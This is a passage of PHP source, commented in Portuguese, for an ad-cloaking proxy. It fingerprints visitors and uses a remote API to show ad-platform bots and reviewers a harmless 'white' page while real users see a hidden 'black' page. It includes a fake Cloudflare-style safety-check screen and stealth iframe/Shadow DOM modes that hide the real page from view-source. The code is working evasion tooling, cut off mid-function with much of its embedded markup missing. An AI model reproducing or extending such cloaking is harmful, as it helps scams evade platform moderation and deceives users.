=2 (segundo clique): redireciona DIRETO para o site black real
if (isset($_GET['_nav']) && !empty($_GET['_nav'])) {
$navUrl = base64_decode($_GET['_nav']);
$depth = isset($_GET['_bd']) ? intval($_GET['_bd']) : 1;
if ($navUrl && filter_var($navUrl, FILTER_VALIDATE_URL)) {
if ($depth >= 2) {
// Segundo clique: redireciona DIRETO para o site black real (sai do proxy)
header('Location: ' . $navUrl);
exit;
}
// Primeiro clique: continua no proxy com depth incrementado
proxyRequest($navUrl, true, $depth + 1);
exit;
}
}
// Assets continuam via proxy
if (isset($_GET['_asset'])) {
proxyRequest($WHITE_URL);
exit;
}
// ==========================================
// FASE 1: CONSULTA INICIAL A API (sem dados JS)
// ==========================================
// Primeiro consulta a API para saber se vai para WHITE ou BLACK
// Se WHITE: vai direto SEM tela de verificacao (bot nao ve nada suspeito)
// Se BLACK: mostra tela de verificacao e coleta dados JS
$visitorIP = getVisitorIP();
$visitorUA = $_SERVER['HTTP_USER_AGENT'] ?? '';
$referer = $_SERVER['HTTP_REFERER'] ?? '';
// UTMs e IDs de clique
$utmSource = $_GET['utm_source'] ?? '';
$utmMedium = $_GET['utm_medium'] ?? '';
$utmCampaign = $_GET['utm_campaign'] ?? '';
$utmContent = $_GET['utm_content'] ?? '';
$utmTerm = $_GET['utm_term'] ?? '';
$ttclid = $_GET['ttclid'] ?? '';
$gclid = $_GET['gclid'] ?? '';
$fbclid = $_GET['fbclid'] ?? '';
// Se ainda NAO passou pela FASE 1 (sem POST), faz consulta inicial
if (!isset($_POST['_detected'])) {
// Consulta API SEM dados de deteccao JS (consulta inicial)
$initialResponse = checkWithAPI($API_URL, [
'action' => 'check',
'campaign' => $CAMPAIGN_SLUG,
'ip' => $visitorIP,
'ua' => $visitorUA,
'referer' => $referer,
'utm_source' => $utmSource,
'utm_medium' => $utmMedium,
'utm_campaign' => $utmCampaign,
'utm_content' => $utmContent,
'utm_term' => $utmTerm,
'ttclid' => $ttclid,
'gclid' => $gclid,
'fbclid' => $fbclid,
'initial_check' => '1'
]);
// Se API diz WHITE: vai direto SEM tela de verificacao
if ($initialResponse && isset($initialResponse['action']) && $initialResponse['action'] === 'white') {
$method = $WHITE_METHOD;
switch ($method) {
case 'proxy':
proxyRequest($WHITE_URL);
break;
case 'iframe':
case 'shadow':
echo '
';
echo '';
echo '';
echo 'Carregando...';
echo '';
echo '';
echo '';
echo '';
echo '';
break;
case 'redirect':
default:
// Usa pagina intermediaria para limpar URL antes de redirecionar
$cleanUrl = strtok($_SERVER['REQUEST_URI'], '?');
$baseUrl = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http') . '://' . $_SERVER['HTTP_HOST'] . $cleanUrl;
echo '';
echo '';
echo 'Redirecionando...';
echo '';
echo '';
echo '';
echo '';
break;
}
exit;
}
// Se API diz BLACK (ou nao respondeu): mostra FASE 1 de verificacao
$currentUrl = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http')
. '://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
// Pagina de carregamento estilo Cloudflare - so aparece para quem vai para BLACK
echo '
Aguarde...
Verificando se o site é seguro
Isso levara apenas alguns segundos...
';
exit;
}
// ==========================================
// FASE 2: PROCESSAMENTO COM DADOS DE DETECCAO JS (so chega aqui se vai para BLACK)
// ==========================================
// Dados de deteccao enviados pelo JS via POST
$webdriver = $_POST['webdriver'] ?? '';
$pluginsCount = $_POST['plugins_count'] ?? -1;
$languages = $_POST['languages'] ?? '';
$screenWidth = $_POST['screen_width'] ?? 0;
$screenHeight = $_POST['screen_height'] ?? 0;
$timezone = $_POST['timezone'] ?? '';
$touchSupport = $_POST['touch_support'] ?? '';
$platform = $_POST['platform'] ?? '';
// Dados de deteccao avancada (score de bot headless)
$advancedBotScore = $_POST['advanced_bot_score'] ?? '';
$advancedBotFlags = $_POST['advanced_bot_flags'] ?? '';
// Dados de fingerprinting
$canvasFP = $_POST['canvas_fp'] ?? '';
$audioFP = $_POST['audio_fp'] ?? '';
$webglFP = $_POST['webgl_fp'] ?? '';
$emulatorScore = $_POST['emulator_score'] ?? '';
// Envia para API com todos os dados de deteccao
$response = checkWithAPI($API_URL, [
'action' => 'check',
'campaign' => $CAMPAIGN_SLUG,
'ip' => $visitorIP,
'ua' => $visitorUA,
'referer' => $referer,
'utm_source' => $utmSource,
'utm_medium' => $utmMedium,
'utm_campaign' => $utmCampaign,
'utm_content' => $utmContent,
'utm_term' => $utmTerm,
'ttclid' => $ttclid,
'gclid' => $gclid,
'fbclid' => $fbclid,
// Dados de deteccao basica
'webdriver' => $webdriver,
'plugins_count' => $pluginsCount,
'languages' => $languages,
'screen_width' => $screenWidth,
'screen_height' => $screenHeight,
'timezone' => $timezone,
'touch_support' => $touchSupport,
'platform' => $platform,
// Dados de deteccao AVANCADA
'advanced_bot_score' => $advancedBotScore,
'advanced_bot_flags' => $advancedBotFlags,
// Fingerprinting
'canvas_fp' => $canvasFP,
'audio_fp' => $audioFP,
'webgl_fp' => $webglFP,
'emulator_score' => $emulatorScore
]);
if ($DEBUG_MODE) {
echo '
DEBUG Response: '; print_r($response); echo '
';
exit;
}
// Processa resposta
if ($response && isset($response['action'])) {
// Define URL e método de redirecionamento
if ($response['action'] === 'black') {
$targetUrl = $BLACK_URL;
$method = $BLACK_METHOD;
$isBlack = true;
} else {
$targetUrl = $WHITE_URL;
$method = $WHITE_METHOD;
$isBlack = false;
}
// Aplica o metodo de redirecionamento
switch ($method) {
case 'proxy':
// Proxy puro - codigo fonte = alvo, visual = alvo
proxyRequest($targetUrl);
break;
case 'iframe':
// MODO STEALTH via iframe: codigo fonte WHITE, visual BLACK
if ($isBlack) {
proxyRequestStealth($WHITE_URL, $BLACK_URL);
} else {
// Para WHITE, iframe normal
echo '';
echo '';
echo '';
echo 'Carregando...';
echo '';
echo '';
echo '';
echo '';
exit;
}
break;
case 'shadow':
// MODO STEALTH via Shadow DOM: codigo fonte WHITE, visual BLACK
if ($isBlack) {
proxyRequestShadow($WHITE_URL, $BLACK_URL);
} else {
// Para WHITE, proxy normal
proxyRequest($targetUrl);
}
break;
case 'redirect':
default:
// Redirect HTTP 302 (padrao)
header('Location: ' . $targetUrl);
exit;
}
} else {
// Erro na API - vai para white page por seguranca
header('Location: ' . $WHITE_URL);
exit;
}
// ============================================
// FUNCOES
// ============================================
function getVisitorIP() {
$headers = ['HTTP_CF_CONNECTING_IP', 'HTTP_X_REAL_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_CLIENT_IP', 'REMOTE_ADDR'];
foreach ($headers as $header) {
if (!empty($_SERVER[$header])) {
$ips = explode(',', $_SERVER[$header]);
$ip = trim($ips[0]);
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
return $ip;
}
}
}
return $_SERVER['REMOTE_ADDR'] ?? '0.0.0.0';
}
function checkWithAPI($url, $data) {
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query($data),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 10,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded', 'Accept: application/json']
]);
$response = curl_exec($ch);
curl_close($ch);
return json_decode($response, true);
}
/**
* Proxy Reverso V5 - COM PROTECAO DE BLACK PAGE
* - Busca CSS externo e reescreve URLs internas (fontes, @import, url())
* - Remove integrity/crossorigin que quebram recursos reescritos
* - Suporta fontes CORS e cache de assets
* - Intercepta fetch/XHR para requisicoes AJAX
* - NOVO: Injeta Guardian na black page para detectar bots durante navegacao
*
* @param string $targetUrl URL de destino
* @param bool $isBlackPage Se true, injeta Guardian para protecao extra
* @param string $whiteUrl URL da white page para redirecionamento se bot detectado
*/
function proxyRequest($targetUrl, $isBlackPage = false, $depth = 1, $whiteUrl = '') {
// URL atual do proxy (dominio limpo)
$proxyHost = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http') . '://' . $_SERVER['HTTP_HOST'];
// Suporta navegacao interna via parametro _nav
// Quando usuario clica em links dentro da pagina proxeada
if (isset($_GET['_nav']) && !empty($_GET['_nav'])) {
$targetUrl = base64_decode($_GET['_nav']);
}
// ===========================================
// BUSCA ASSETS (CSS, JS, FONTES, IMAGENS)
// ===========================================
if (isset($_GET['_asset']) && !empty($_GET['_asset'])) {
$assetUrl = base64_decode($_GET['_asset']);
$ch = curl_init($assetUrl);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_TIMEOUT => 30,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_USERAGENT => $_SERVER['HTTP_USER_AGENT'] ?? 'Mozilla/5.0',
CURLOPT_HTTPHEADER => [
'Accept: */*',
'Accept-Language: pt-BR,pt;q=0.9,en;q=0.8'
]
]);
$assetContent = curl_exec($ch);
$assetHttpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$assetContentType = curl_getinfo($ch, CURLINFO_CONTENT_TYPE) ?: 'application/octet-stream';
curl_close($ch);
if ($assetContent === false) {
header('HTTP/1.1 502 Bad Gateway');
exit;
}
// Se for CSS, reescreve URLs internas
if (stripos($assetContentType, 'text/css') !== false || preg_match('/\.css(\?|$)/i', $assetUrl)) {
$assetParsed = parse_url($assetUrl);
$assetBaseUrl = $assetParsed['scheme'] . '://' . $assetParsed['host'];
$assetBasePath = isset($assetParsed['path']) ? dirname($assetParsed['path']) : '';
if ($assetBasePath === '/' || $assetBasePath === '.' || $assetBasePath === '\\') $assetBasePath = '';
// Reescreve url() dentro do CSS
$assetContent = preg_replace_callback(
'/url\s*\(\s*[\"\']?([^\"\'\)]+)[\"\']?\s*\)/i',
function($m) use ($assetBaseUrl, $assetBasePath, $proxyHost) {
$url = trim($m[1]);
if (preg_match('/^(data:|#)/i', $url)) return $m[0];
// Converte para absoluta
if (preg_match('/^https?:\/\//i', $url)) {
$absolute = $url;
} elseif (strpos($url, '//') === 0) {
$absolute = 'https:' . $url;
} elseif (strpos($url, '/') === 0) {
$absolute = $assetBaseUrl . $url;
} else {
$absolute = $assetBaseUrl . $assetBasePath . '/' . $url;
}
// Passa pelo proxy para fontes e imagens
return 'url("' . $proxyHost . '/?_asset=' . base64_encode($absolute) . '")';
},
$assetContent
);
// Reescreve @import
$assetContent = preg_replace_callback(
'/@import\s+[\"\']([^\"\']+)[\"\'];?/i',
function($m) use ($assetBaseUrl, $assetBasePath, $proxyHost) {
$url = trim($m[1]);
if (preg_match('/^https?:\/\//i', $url)) {
$absolute = $url;
} elseif (strpos($url, '//') === 0) {
$absolute = 'https:' . $url;
} elseif (strpos($url, '/') === 0) {
$absolute = $assetBaseUrl . $url;
} else {
$absolute = $assetBaseUrl . $assetBasePath . '/' . $url;
}
return '@import "' . $proxyHost . '/?_asset=' . base64_encode($absolute) . '";';
},
$assetContent
);
$assetContentType = 'text/css; charset=UTF-8';
}
// Headers
header('HTTP/1.1 ' . $assetHttpCode);
header('Content-Type: ' . $assetContentType);
header('Cache-Control: public, max-age=86400');
header('Access-Control-Allow-Origin: *');
echo $assetContent;
exit;
}
// ===========================================
// BUSCA PAGINA HTML PRINCIPAL
// ===========================================
// CORRECAO V11.2: Verifica se o POST e da navegacao interna (formulario na pagina proxeada)
// ou se e da fase de deteccao JS. No segundo caso, devemos fazer GET para nao enviar dados errados.
//
// O POST da deteccao JS contem: _detected=1, webdriver=0, plugins_count=X, etc.
// Esses dados NAO devem ser enviados para a BLACK page!
//
// Identificamos POST de deteccao se:
// 1. Nao tem _nav na URL (navegacao interna sempre usa _nav)
// 2. Tem _detected no POST
$isNavigationPost = isset($_GET['_nav']) && $_SERVER['REQUEST_METHOD'] === 'POST';
$isDetectionPost = isset($_POST['_detected']);
// So faz POST real se for navegacao interna (formulario na black page), nao deteccao
$isPost = $isNavigationPost && !$isDetectionPost;
$postData = $isPost ? file_get_contents('php://input') : null;
$ch = curl_init($targetUrl);
$curlOpts = [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_TIMEOUT => 30,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_USERAGENT => $_SERVER['HTTP_USER_AGENT'] ?? 'Mozilla/5.0',
CURLOPT_HTTPHEADER => [
'X-Forwarded-For: ' . getVisitorIP(),
'X-Forwarded-Proto: https',
'Referer: ' . $targetUrl,
'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language: pt-BR,pt;q=0.9,en;q=0.8'
]
];
if ($isPost) {
$curlOpts[CURLOPT_POST] = true;
$curlOpts[CURLOPT_POSTFIELDS] = $postData;
$curlOpts[CURLOPT_HTTPHEADER][] = 'Content-Type: ' . ($_SERVER['CONTENT_TYPE'] ?? 'application/x-www-form-urlencoded');
}
curl_setopt_array($ch, $curlOpts);
$response = curl_exec($ch);
$finalUrl = curl_getinfo($ch, CURLINFO_EFFECTIVE_URL);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$contentType = curl_getinfo($ch, CURLINFO_CONTENT_TYPE);
curl_close($ch);
if ($response === false) {
header('HTTP/1.1 503 Service Unavailable');
echo 'Erro ao conectar ao servidor remoto';
exit;
}
// Se nao for HTML, retorna diretamente
if (stripos($contentType, 'text/html') === false && stripos($contentType, 'application/xhtml') === false) {
header('HTTP/1.1 ' . $httpCode);
header('Content-Type: ' . $contentType);
header('Cache-Control: public, max-age=86400');
echo $response;
exit;
}
// Extrai base URL do destino
$parsed = parse_url($finalUrl);
$baseUrl = $parsed['scheme'] . '://' . $parsed['host'];
$basePath = isset($parsed['path']) ? dirname($parsed['path']) : '';
if ($basePath === '/' || $basePath === '\\' || $basePath === '.') {
$basePath = '';
}
// Funcao para converter URL relativa em absoluta
$makeAbsolute = function($url) use ($baseUrl, $basePath) {
$url = trim($url);
if (preg_match('/^https?:\/\//i', $url)) return $url;
if (preg_match('/^(data:|javascript:|mailto:|tel:|#)/i', $url)) return $url;
if (strpos($url, '//') === 0) return 'https:' . $url;
if (strpos($url, '/') === 0) return $baseUrl . $url;
return $baseUrl . $basePath . '/' . $url;
};
// Funcao para criar link do proxy (URL limpa) com depth
$makeProxyLink = function($url) use ($proxyHost, $makeAbsolute, $depth) {
$url = trim($url);
if (preg_match('/^(javascript:|mailto:|tel:|#|data:)/i', $url)) {
return $url;
}
$absolute = $makeAbsolute($url);
return $proxyHost . '/?_nav=' . base64_encode($absolute) . '&_bd=' . $depth;
};
// Funcao para criar URL de asset via proxy
$makeAssetProxy = function($url) use ($proxyHost, $makeAbsolute) {
$url = trim($url);
if (preg_match('/^(data:|javascript:|mailto:|tel:|#)/i', $url)) {
return $url;
}
$absolute = $makeAbsolute($url);
return $proxyHost . '/?_asset=' . base64_encode($absolute);
};
// =============================================
// REMOVE INTEGRITY E CROSSORIGIN (quebram CSS/JS reescritos)
// =============================================
$response = preg_replace('/\s+integrity=[\"\'][^\"\']*[\"\']/i', '', $response);
$response = preg_replace('/\s+crossorigin(?:=[\"\'][^\"\']*[\"\'"])?/i', '', $response);
// =============================================
// REESCREVE CSS VIA PROXY (para corrigir fontes e @import)
// =============================================
$response = preg_replace_callback(
'/]*)(href=[\"\']([^\"\']+)[\"\'])([^>]*)>/is',
function($m) use ($makeAssetProxy) {
$attrs = $m[1] . $m[4];
// Verifica se eh stylesheet
if (stripos($attrs, 'stylesheet') !== false || preg_match('/\.css(\?|$)/i', $m[3])) {
return '';
}
// Outros links (favicon, preload, etc) - URL absoluta direta
return '';
},
$response
);
// Scripts: ';
// =============================================
// GUARDIAN DESABILITADO PARA BLACK PAGE
// A verificacao ja foi feita na FASE 1 (deteccao JS)
// Manter Guardian ativo causava falsos positivos em ambientes de dev
// =============================================
$guardianScript = '';
// Injeta scripts antes de
$allScripts = $guardianScript . $proxyScript;
if (stripos($response, '') !== false) {
$response = str_ireplace('', $allScripts . '', $response);
} else {
$response .= $allScripts;
}
// =============================================
// HEADERS
// =============================================
header('HTTP/1.1 ' . $httpCode);
header('Content-Type: text/html; charset=UTF-8');
header('Cache-Control: no-cache, no-store, must-revalidate');
header('Access-Control-Allow-Origin: *');
header_remove('Set-Cookie');
header_remove('Transfer-Encoding');
echo $response;
exit;
}
// ============================================
// FUNCAO STEALTH: Codigo fonte = WHITE, Visual = BLACK
// Bot ve WHITE no View Source, humano ve BLACK visualmente
// ============================================
function proxyRequestStealth($whiteUrl, $blackUrl) {
global $DEBUG_MODE;
// Busca conteudo da WHITE (isso e o que o bot vera no View Source)
$ch = curl_init($whiteUrl);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_TIMEOUT => 30,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_USERAGENT => $_SERVER['HTTP_USER_AGENT'] ?? 'Mozilla/5.0',
CURLOPT_HTTPHEADER => [
'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language: pt-BR,pt;q=0.9,en;q=0.8'
]
]);
$whiteHtml = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($whiteHtml === false || empty($whiteHtml)) {
// Fallback: redireciona para white
header('Location: ' . $whiteUrl);
exit;
}
// CSS do overlay de carregamento
$stealthCss = '
';
// HTML do overlay + iframe da BLACK
$stealthHtml = '
Carregando...
';
// Injeta CSS no
if (stripos($whiteHtml, '') !== false) {
$whiteHtml = str_ireplace('', $stealthCss . '', $whiteHtml);
} else {
$whiteHtml = $stealthCss . $whiteHtml;
}
// Injeta overlay e iframe antes de
if (stripos($whiteHtml, '') !== false) {
$whiteHtml = str_ireplace('', $stealthHtml . '', $whiteHtml);
} else {
$whiteHtml .= $stealthHtml;
}
// DEBUG
if (isset($_GET['v0debug'])) {
echo '